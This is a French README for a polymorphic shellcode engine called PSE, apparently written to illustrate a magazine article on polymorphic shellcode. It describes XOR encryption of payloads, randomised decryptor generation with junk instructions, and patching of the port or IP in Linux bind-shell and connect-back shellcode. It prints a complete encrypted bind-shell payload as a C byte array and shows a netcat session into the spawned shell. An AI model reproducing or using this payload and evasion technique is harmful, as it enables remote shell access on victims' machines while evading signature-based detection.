



1 - PSE : Fonctionnement
------------------------

PSE genere un code asm permetant de decrypter le shellcode
voulu, precedament crypte avec une cle aleatoire.

Le decrypteur est genere de facon 'aleatoire' : 
  - Invertion de l'ordre certainne mnemoniques.
  - Utilisation de mnemoniques differente pour 'faire la meme chose'.
  - Injection de junk code de facon aleatoire.

Le cryptage du shellcode ce fait grace a un xor avec une cle de 8 bits.
La valeur de la cle est incrementer pour chaque octet.
La cle est comprise entre 1(inclus) et 255(inclus). La cle est
choisi de facon a ce que le shellcode resultat ne comporte aucun 00.
Le shellcode de base peut contenir des 00, le cryptage les transformera.

PSE permet aussi de patcher les shellcodes pour modifier leur
port(pour les bindshell) ou leur port/ip (pour les connectback).
Tout cela biensur sans que cela genere de 00 dans le shellcode final. 

Le junk code est insere en prenant de facon aleatoire des instructions
dans 2 tableau.
Le tableau JUNK1 contient des instructions code sur 1 octets et JUNK2 
des instructions code sur 2 octets




2 - A quoi ressemble le resultat final
--------------------------------------


Calcul du delta offset:
-----------------------

  JMP   SHORT @1
@2:
  POP   EBP
  JUNK1
@1:
  CALL  @2
  JUNK1
  JUNK2


Cette parti est la moins 'changeante' des 3. Les changement
ce font uniquement grace au junk code.



Initialisation de la boucle de decryptage:
------------------------------------------

  ADD EBP, xx
  MOV ESI, EBP
  MOV EDI, EBP
  XOR ECX, ECX
  MOV  CL, key
  MOV reg, size

l'ordre de ces instructions est genere de facon aleatoire,
la seule condition est de metre le ADD EBP, xx avant le
init de esi ou edi.
Key est une cle aleatoire genere de facon aleatoire mais
de facon a ne pas genere de 00.
Reg peut etre soit ebx soit edx. Size est la size du shellcode.
Ensuite un junkcode est insere n'importe ou de facon aleatoire
entre ces 5 lignes.




Boucle de decryptage:
---------------------

  CLD
     LODSB
     JUNK2
  ou
     MOV AL, [ESI]
     INC ESI
  XOR AL, reg
     MOV [EDI], AL
     INC EDI
  ou
     STOSB
     JUNK2



Shellcode :
-----------

Shellcode patchee et cryptee precedament. 




Au final la boucle de decryptage fait 51 octets.





3 - Test
--------

emp@neptune:~/code/c/pse $ ./pse -h

     @@@
    @. .@
    @\=/@
    .- -.
   /(. .)\
   \ ).( /     PSE : The most er0tic Polymorphic Shellcode Engine
   '( v )`     version 0.01b
     \|/
     (|)
     '-`

./pse [shellcode number] [port] [ip]

shellcode list : 
0 - linux : Bind shell.
1 - linux : Connect back.
2 - pas dispo
3 - pas dispo


emp@neptune:~/code/c/pse $ ./pse 0 1234

     @@@
    @. .@
    @\=/@
    .- -.
   /(. .)\
   \ ).( /     PSE : The most er0tic Polymorphic Shellcode Engine
   '( v )`     version 0.01b
     \|/
     (|)
     '-`

[-] Recherche d'une cle pour -> linux : Bind shell.
key = 118

[-] Generation : calcul delta offset :
JMP SHORT XX
POP EBP
CLC
JMP SHORT XX
PUSH EBX
POP EBX
CALL XXXXXXXX
INC EAX
DEC ECX
INC ECX

[-] Generation : initialisation de la boucle :
XOR reg, reg
MOV reg8, 'key'
ADD EBP, xx
CMC
MOV ESI, EBP
DEC EBX
INC EBX
PUSH ECX
POP ECX
XOR ECX, ECX
MOV CL, 'size'
MOV EDI, EBP
XCHG ECX, ECX
size = 92, reg = EBX, key = 118

[-] Generation : boucle :
CLD
LODSB
XCHG EBX, EBX
XOR AL, BL
INC BL
MOV [EDI], AL
INC EDI
LOOP

Sortie binaire dans : shellcode.bin
Sortie texte dans : shellcode.c

emp@neptune:~/code/c/pse $ cat shellcode.c 

char shellcode[]=
"\xeb\x06\x5d\xf8\xeb\x07\x53\x5b\xe8\xf5\xff\xff\xff\x49\x41"
"\x40\x31\xdb\xb3\x76\x83\xc5\x26\x26\x89\xee\x4b\x43\x51\x59"
"\x31\xc9\xb1\x5c\x89\xef\x87\xc9\xfc\xac\x87\xdb\x30\xd8\xfe"
"\xc3\x88\x07\x47\xe2\xf4"
"\x47\xb7\xe1\xc9\x1c\x29\x3e\x2f\x3c\x2d\x09\x60\xe8\x82\xdf"
"\x48\x06\x0e\x4f\x10\xd8\xed\xe4\x89\x5c\xcc\xf6\xc2\x1b\x72"
"\xfe\x85\xc7\xc7\x11\x78\x2a\xfd\x51\x1d\x2e\xf9\x13\xa5\x6f"
"\x23\xf4\xf2\x2f\x46\xeb\x19\xcc\x66\x2c\x9c\x67\x1e\xb3\x22"
"\xfb\x03\x8b\x78\x36\x32\x71\xcc\x4d\x8a\x7c\x0d\xb5\xee\xa8"
"\xee\xed\xb0\xac\xad\xe9\xa5\xa1\xa7\x43\x28\x9d\x9e\x47\x2e"
"\x1d\x51";

emp@neptune:~/code/c/pse $ cd test/
emp@neptune:~/code/c/pse/test $ ./test.sh 

Hello dude, welcome to my (so er0tic) test script for PSE

The shellcode is in data segment.
If you have non-executable user pages protection disable it for the test.

Compiling :

Ok, running the shellcode ->






Dans un autre shell :

emp@neptune:~ $ nc localhost 1234
uname -a 
Linux neptune 2.6.10-5-386 #1 Tue Apr 5 12:12:40 UTC 2005 i686 GNU/Linux
ls  
shellcode
shellcode.c
test.sh



4 - NOTE
--------

Ce code a etais realisee vite fait durant le peu de temps libre que j'ai,
soyez indulgents quand a ca qualite.
Je ne retoucherais certainement pas ce code, sont seul but est d'illustrer 
un article sur les shellcodes polymorphe pour le magazine n0name.


Si vous voulez discuter du code ou autre : irc.freenode.org   /query emp_

